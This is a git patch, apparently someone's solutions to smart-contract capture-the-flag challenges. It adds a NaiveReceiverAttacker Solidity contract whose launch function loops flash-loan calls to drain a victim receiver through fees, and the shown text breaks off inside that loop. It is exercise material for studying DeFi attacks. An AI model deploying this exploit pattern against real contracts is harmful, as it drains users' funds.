From c85f87013d759d5a4b1813b9b38b2a7773c73330 Mon Sep 17 00:00:00 2001 From: Jae Liu Date: Mon, 13 Jun 2022 22:25:40 +0800 Subject: [PATCH] feat: #3 & #4 solved and attacker-contracts --- .gitignore | 2 +- .../NaiveReceiverAttacker.sol | 29 +++++++++++++ .../SideEntranceAttacker.sol | 42 +++++++++++++++++++ test/side-entrance/side-entrance.challenge.js | 5 +++ test/truster/truster.challenge.js | 20 +++++++++ 5 files changed, 97 insertions(+), 1 deletion(-) create mode 100644 contracts/attacker-contracts/NaiveReceiverAttacker.sol create mode 100644 contracts/attacker-contracts/SideEntranceAttacker.sol diff --git a/.gitignore b/.gitignore index fbdfcada9..db6e1dfa3 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ node_modules build -contracts/attacker-contracts/*.sol +# contracts/attacker-contracts/*.sol *.solved.js cache .openzeppelin diff --git a/contracts/attacker-contracts/NaiveReceiverAttacker.sol b/contracts/attacker-contracts/NaiveReceiverAttacker.sol new file mode 100644 index 000000000..282714015 --- /dev/null +++ b/contracts/attacker-contracts/NaiveReceiverAttacker.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + + +interface IPool { + function flashLoan(address borrower, uint256 borrowAmount) external; +} + +contract NaiveReceiverAttacker { + address private immutable pool; + address private immutable receiver; + address private immutable owner; + + constructor(address _pool, address _receiver) payable { + pool = _pool; + receiver = _receiver; + owner = msg.sender; + } + receive () external payable {} + + function launch(uint256 counter) external { + require(msg.sender == owner, "only owner"); + IPool ipool = IPool(pool); + for(uint256 i=0;i